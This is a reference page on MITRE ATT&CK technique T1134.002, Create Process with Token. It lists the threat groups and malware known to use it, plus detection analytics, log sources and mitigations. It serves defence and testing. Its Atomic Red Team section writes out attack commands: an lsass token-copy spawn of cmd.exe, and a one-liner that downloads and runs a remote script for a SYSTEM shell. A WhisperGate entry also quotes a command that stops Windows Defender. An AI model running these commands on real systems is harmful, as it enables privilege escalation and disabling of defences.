tfMITRE ATT&CK sub-technique

Create Process with Token T1134.002

sub-technique of T1134 Access Token Manipulation

Tactics: Privilege Escalation, Stealth
Platform: Windows
Version: 2.0
Created: 18 February 2020
Last modified: 12 May 2026
Contributors: Jonny Johnson; Vadim Khrykov

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups56th pct

Threat groups56th percentile · 56% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malwareTop 24%

Tools & malware76th percentile · 76% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules74th pct

Detection rules74th percentile · 74% of ATT&CK techniques have this many detection rules written or fewer.

Create Process with Token MITRE reference T1134.002

56th pctamong all ATT&CK techniques for number of groups

2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Lazarus GroupG0032 ↗

Keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context.1 2

created 2017-05-312 referencesaka Labyrinth Chollima

TurlaG0010 ↗

RPC backdoors can impersonate or steal process tokens before executing commands.1

created 2017-05-311 referenceaka IRON HUNTER

All 2 groups for this technique

11 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

TONESHELLS1239 ↗

Included functionality to create sub-processes with a specific user’s token.1

created 2025-09-15MALWAREcarried by 1 group

WhisperGateS0689 ↗

The WhisperGate third stage can use the AdvancedRun.exe tool to execute commands in the context of the Windows TrustedInstaller group via %TEMP%\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run.1

created 2022-03-10MALWAREcarried by 1 group

PipeMonS0501 ↗

Can attempt to gain administrative privileges using token impersonation.1

created 2020-08-24MALWAREcarried by 1 group

REvilS0496 ↗

Can launch an instance of itself with administrative rights using runas.1

created 2020-08-04MALWAREcarried by 2 groups

Aria-bodyS0456 ↗

Has the ability to execute a process using runas.1

created 2020-05-26MALWAREcarried by 1 group

ZxShellS0412 ↗

Has a command called RunAs, which creates a new process as another user or process context.1

created 2019-09-24MALWAREcarried by 3 groups

All 11 software entries for this technique · 6 newest in this preview

Offense vs defense T1134.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 9Splunk ESCU (cumulative) · 1

first rule: 2019 Q4

Create Process with Token detection strategy DET0456

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Behavior-chain detection for T1134.002 Create Process with Token (Windows)

Enterprise

1 platform

AN1253 · Windows

A process (often after stealing/creating a token) calls CreateProcessWithTokenW/CreateProcessAsUserW or uses runas to spawn a **new** process whose security context (SID/LogonId/IntegrityLevel) differs from its parent. Chain: (1) suspicious command/API → (2) privileged handle or token duplication/open → (3) new child process running as another user / higher integrity → (4) optional follow‑on privileged/lateral actions.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
OS API ExecutionDC0021	ETW:ProcThread	api_call: CreateProcessWithTokenW, CreateProcessAsUserW
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10
Active Directory Object ModificationDC0066	WinEventLog:Security	EventCode=5136
Logon Session MetadataDC0088	WinEventLog:Security	EventCode=4672, 4634

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Correlation window between API/handle access and the spawned process (default 5–10 minutes).
AllowedImpersonators	Service accounts/binaries legitimately using CreateProcessWithTokenW (e.g., PsExec service, SCCM, backup agents).
IntegrityEscalationDelta	Minimum jump in integrity level (e.g., Medium→System) to flag.
ParentChildUserMismatch	Treat any parent/child SID or LogonId mismatch as suspicious unless on allow-list.
SensitiveTargets	List of processes (e.g., lsass.exe, winlogon.exe, services.exe) whose token access prior to the spawn raises score.

Privileged Account ManagementM1026

Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.

User Account ManagementM1018

An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.

Tests2ExecutorsPowerShell 2Need elevation1 of 2Have prerequisites0Have cleanup0Platformswindows

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup
01	Access Token Manipulation	windows	PowerShell	Required	—	—
This Action demonstrates how an access token for a specific program can spawn another program under a different owner. Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe Attack command Set-ExecutionPolicy -Scope Process Bypass -Force $owners = @{} gwmi win32_process \|% {$owners[$_.handle] = $_.getowner().user} Get-Process \| Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}} & "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") GUID2bc9b8fe-bcbd-499a-a750-a5868d12f87d
02	WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique	windows	PowerShell	—	—	—
Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem GUID8939e801-529b-4538-9ec1-0c53e1072e0a

Tests from Atomic Red Team (MIT licence) · technique definition

Create Process with Token detections T1134.002

10 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

74th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs